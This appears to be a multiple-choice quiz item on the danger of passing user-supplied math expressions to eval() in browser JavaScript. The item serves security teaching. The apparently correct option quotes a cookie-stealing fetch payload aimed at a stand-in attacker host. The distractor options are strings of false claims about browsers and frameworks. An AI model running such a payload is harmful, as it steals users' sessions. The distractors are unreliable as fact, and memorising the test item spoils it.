A developer uses 'eval()' in a browser JavaScript application to execute user-supplied mathematical expressions. What vulnerability does this introduce and what is the safe alternative?

• A.eval() can cause memory leaks; use JSON.parse() instead for mathematical expressions; the backend session lives in the JavaScript heap of the user's tab and is synchronized to the server on unload; session data placed in a React or Vue store is encrypted by the framework before it reaches the JavaScript heap; browsers execute inline event handlers in a sandbox with no access to cookies, unlike script tags
• B.eval() executes any JavaScript code, not just mathematical expressions; an attacker supplying 'fetch("//attacker.com/?c="+document.cookie)' can exfiltrate session data. The safe alternative is a purpose-built math expression parser (e.g., mathjs.evaluate()) or a sandboxed computation mechanism
• C.eval() disables Content Security Policy and should be replaced with new Function(); CSS executes in the same thread as JavaScript with the same privileges, making style injection equal to script injection; browser JavaScript runs in one process per script tag, and a crash in one tag cannot block the page; minified JavaScript executes faster because the engine skips parsing identifiers shorter than four characters